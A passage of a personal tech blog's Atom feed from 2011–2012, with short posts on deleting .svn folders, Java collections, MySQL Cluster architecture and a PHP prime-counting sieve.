<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-18344261</id><updated>2012-01-15T00:28:08.135-08:00</updated><title type='text'>WWW Mania !</title><subtitle type='html'>- A infamous blog filled with the activities that I do and feel like blogging about -</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>39</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-18344261.post-7610978551747412934</id><published>2012-01-10T22:18:00.000-08:00</published><updated>2012-01-10T22:18:07.070-08:00</updated><title type='text'>Removing unnecessary .svn folders from</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Found this cool script &lt;a href="http://www.axelscript.com/2008/03/11/delete-all-svn-files-in-windows/"&gt;here&lt;/a&gt;&amp;nbsp;to clear .svn folders on windows and a blog &lt;a href="http://www.broobles.com/blog/posts/36"&gt;here&amp;nbsp;&lt;/a&gt;&amp;nbsp;to delete the same on linux. Have fun.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-7610978551747412934?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/7610978551747412934/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=7610978551747412934' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7610978551747412934'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7610978551747412934'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2012/01/removing-unnecessary-svn-folders-from.html' title='Removing unnecessary .svn folders from'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-4671913370304860737</id><published>2012-01-04T11:43:00.000-08:00</published><updated>2012-01-04T11:43:45.813-08:00</updated><title type='text'>Java collections and generics.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Collections Framework.&lt;br /&gt;&lt;br /&gt;General DS: &lt;br /&gt;Arrays&lt;br /&gt;Linked list&lt;br /&gt;Doubly linked list. &lt;br /&gt;- Array / linked list can be used as stack, queue, heap.&lt;br /&gt;&lt;br /&gt;Interface hierarchy.&lt;br /&gt;- Lists&lt;br /&gt;-- Lists&lt;br /&gt;-- ArrayLists&lt;br /&gt;-- Vectors&lt;br /&gt;-- LinkedList&lt;br /&gt;- Set&lt;br /&gt;- Map&lt;br /&gt;-- Hashmap&lt;br /&gt;-- Sorting&lt;br /&gt;- Sorting Collections&lt;br /&gt;-- Comprable&lt;br /&gt;-- Comparator&lt;br /&gt;&lt;br /&gt;Joshua Bloch - created the collections framework.&lt;br /&gt;&lt;br /&gt;The Collections class is implemented by set,list and queue. and holds a list of static methods to work on the collection of objects.&lt;br /&gt;&lt;br /&gt;General methods in collection. &lt;br /&gt;Add object&lt;br /&gt;Remove object&lt;br /&gt;Search / Find object.&lt;br /&gt;Retrieve object&lt;br /&gt;Iterate over objects.&lt;br /&gt;&lt;br /&gt;Collections framework hierarchy.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.onlinejava.co.in/images/java-collection.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="778" src="http://www.onlinejava.co.in/images/java-collection.jpg" width="1000" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;List interface provides things like:&lt;br /&gt;allows duplicates. &lt;br /&gt;addObject&lt;br /&gt;removeObject&lt;br /&gt;iterate over them. &lt;br /&gt;&lt;br /&gt;Set interface is about:&lt;br /&gt;- Does not allow duplicates.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-4671913370304860737?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/4671913370304860737/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=4671913370304860737' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/4671913370304860737'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/4671913370304860737'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2012/01/java-collections-and-generics.html' title='Java collections and generics.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-8980664758905730168</id><published>2011-12-27T02:52:00.000-08:00</published><updated>2011-12-27T02:52:42.423-08:00</updated><title type='text'>Mysql cluster &amp; replication.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: Tahoma, Georgia, 'Trebuchet MS', Verdana; font-size: 14px; letter-spacing: 1px; line-height: 20px;"&gt;A typical MySQL cluster setup involves 3 components in at least this configuration:&lt;/span&gt;&lt;br /&gt;&lt;ul style="font-family: Tahoma, Georgia, 'Trebuchet MS', Verdana; font-size: 14px; letter-spacing: 1px; line-height: 20px;"&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;1 management (ndb_mgmd) node.&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Management nodes contain the cluster configuration.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;A management node is only needed to connect new storage and query nodes to the cluster and do some arbitration.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Existing storage and query nodes continue to operate normally if the management node goes down.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Therefore, it's relatively safe to have only 1 management node running on a very low spec machine (configuring 2 management nodes is possible but is slightly more complex and less dynamic).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Interfacing with a management node is done via an ndb_mgm utility.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Management nodes are configured using config.ini.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;My setup here involves 1 management node.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;2 storage (ndbd) nodes.&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;You do not interface directly with those nodes, instead you go through SQL nodes, described next.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;It is possible to have more storage nodes than SQL nodes.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;It is possible to host storage nodes on the same machines as SQL nodes.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;It is possible, although not recommended, to host storage nodes on the same machines as management nodes.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Storage nodes will split up the data between themselves automatically. For example, if you want to store each row on 2 machines for redundancy (&lt;em&gt;NoOfReplicas&lt;/em&gt;=2) and you have 6 storage nodes, your data is going to be split up into 3 distinct non-intersecting chunks, called&amp;nbsp;&lt;em&gt;node groups&lt;/em&gt;.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Given a correctly formulated query, it is possible to make MySQL scan all 3 chunks in parallel, thus returning the result set quicker.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Node groups are formed implicitly, meaning you cannot assign a storage node to a specific node group. What you can do, however, is manipulate the IDs of the nodes in such a way that the servers you want will get assigned to the node groups you want. The nodes having consecutive IDs get assigned to the same node group until there are&amp;nbsp;&lt;em&gt;NoOfReplicas&lt;/em&gt;&amp;nbsp;nodes in a node group, at which point a node group starts.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Storage nodes are configured using /etc/my.cnf. They are also affected by settings in config.ini on the management node.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;My setup here involves 4 storage nodes.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;2 query (SQL) nodes.&lt;/span&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;SQL nodes are regular mysqld processes that access data in the cluster. You guessed it right – the data sits in storage nodes, and SQL nodes just serve as gateways to them.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;Your application will connect to these SQL node IPs and will have no knowledge of storage nodes.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;It is possible to have more SQL nodes than storage nodes.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;It is possible to host SQL nodes on the same machines as storage nodes.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;It is possible, although not recommended, to host SQL nodes on the same machines as management nodes.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;SQL nodes are configured using /etc/my.cnf. They are also affected by settings in config.ini on the management node.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="background-color: white;"&gt;My setup here involves 4 SQL nodes.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;div&gt;&lt;div style="font-family: arial; font-size: small; text-align: -webkit-auto;"&gt;&lt;a href="http://sjaswinder.blogspot.com/2010/02/mysql-replication-explained.html"&gt;http://sjaswinder.blogspot.com/2010/02/mysql-replication-explained.html&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: arial; font-size: small; text-align: -webkit-auto;"&gt;&lt;a href="http://www.ovaistariq.net/565/setting-up-master-slave-replication-with-mysql/"&gt;http://www.ovaistariq.net/565/setting-up-master-slave-replication-with-mysql/&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-8980664758905730168?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/8980664758905730168/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=8980664758905730168' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/8980664758905730168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/8980664758905730168'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/12/mysql-cluster-replication.html' title='Mysql cluster &amp; replication.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-7352304713664099069</id><published>2011-12-16T00:07:00.000-08:00</published><updated>2011-12-28T02:51:44.211-08:00</updated><title type='text'>Finding prime numbers with in a given number n.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class="Apple-style-span" style="background-color: white; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px;"&gt;I stumbled upon this question in &lt;/span&gt;&lt;a href="http://interviewstreet.com/" style="background-color: white; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; text-align: -webkit-auto;"&gt;Interviewstreet.com&lt;/a&gt;&lt;span class="Apple-style-span" style="background-color: white; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; text-align: -webkit-auto;"&gt; - looked very basic question, however I tried attempting it to check their editor. Later found that this was good question than I thought. The problem arises when N is = 1000000. We have to manage both memory and execution time.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;For execution time to be optimized, used this &lt;a href="http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes"&gt;algo&lt;/a&gt;&amp;nbsp;for finding the prime numbers with in a given number. For memory modified it further to work in steps of 100000. &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;-------------------------------------&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;Write a function&amp;nbsp;&lt;strong&gt;getNumberOfPrimes&amp;nbsp;&lt;/strong&gt;which takes in an integer&amp;nbsp;&lt;strong&gt;N&amp;nbsp;&lt;/strong&gt;as its parameter,&amp;nbsp;&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;to return the number of prime numbers that are less than N&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Sample Testcases:&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Input #00:&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;100&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Output #00:&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;25&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;&lt;strong&gt;&lt;span class="Apple-style-span" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;Input #01:&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;1000000&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;Output #01:&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;78498&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;----------------------------------------&lt;/div&gt;&lt;div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #312e25; font-family: myriad-pro, sans-serif; font-size: 14px; line-height: 21px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: -webkit-auto; vertical-align: baseline;"&gt;Below is the solution. I have used php. I would add comments and optimize those loops further when I get some free time later.&amp;nbsp;&lt;/div&gt;&lt;br /&gt;&lt;div style="height:100%;"&gt;&lt;pre name="orion"&gt;function  getNumberOfPrimes($n) {&lt;br /&gt;    $count = 0;&lt;br /&gt;    $prime = array();&lt;br /&gt;    //optimization for memory split the number in to sub groups of 100000&lt;br /&gt;    $step = 100000;&lt;br /&gt;    $maxitr =  floor($n/$step);&lt;br /&gt;    $itr = 0;&lt;br /&gt;    $prime = array();&lt;br /&gt;    $lastprime = 2;&lt;br /&gt;    &lt;br /&gt;    do{ &lt;br /&gt;    $numbers = array();&lt;br /&gt;    &lt;br /&gt;    if($itr){&lt;br /&gt;     $start = (($itr)*$step)+1; &lt;br /&gt;    }else{&lt;br /&gt;        $start =2;&lt;br /&gt;    }&lt;br /&gt;    if($itr == $maxitr){&lt;br /&gt;     $end = $n;     &lt;br /&gt;    }&lt;br /&gt;    else{&lt;br /&gt;     $end = ($itr+1)*$step;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    $len = sqrt($end);&lt;br /&gt;    $numbers = array_fill($start,($end-$start),true);  &lt;br /&gt;    &lt;br /&gt;    if(count($prime)){&lt;br /&gt;    foreach($prime as $value){&lt;br /&gt;     $multiplier =  floor($start/$value);     &lt;br /&gt;      for($j=$value,$remove = $j*$multiplier;$remove&amp;lt;$end;$multiplier++){&lt;br /&gt;       $remove = $j*$multiplier;&lt;br /&gt;       $numbers[$remove]=false;&lt;br /&gt;      }&lt;br /&gt;    }&lt;br /&gt;    $lastprime = end($prime);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    for($i=$start;$i&amp;lt;=$len;$i++)&lt;br /&gt;    {&lt;br /&gt;     if($numbers[$i]){&lt;br /&gt;      for($j=$lastprime,$remove = $j*$i;$remove&amp;lt;$end;$j++){&lt;br /&gt;       $remove = $j*$i;&lt;br /&gt;       $numbers[$remove]=false;&lt;br /&gt;      }&lt;br /&gt;     }&lt;br /&gt;    }&lt;br /&gt;    for($i=$start;$i&amp;lt;$end;$i++){&lt;br /&gt;     if($numbers[$i]){&lt;br /&gt;      $count++;&lt;br /&gt;      $prime[] = $i;&lt;br /&gt;     }&lt;br /&gt;    }&lt;br /&gt;    $itr++;&lt;br /&gt;    }while($itr &amp;lt; $maxitr);&lt;br /&gt; &lt;br /&gt;    return $count;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: #312e25; font-family: myriad-pro, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 14px; line-height: 21px;"&gt;-----------------------------------&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-7352304713664099069?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/7352304713664099069/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=7352304713664099069' title='0 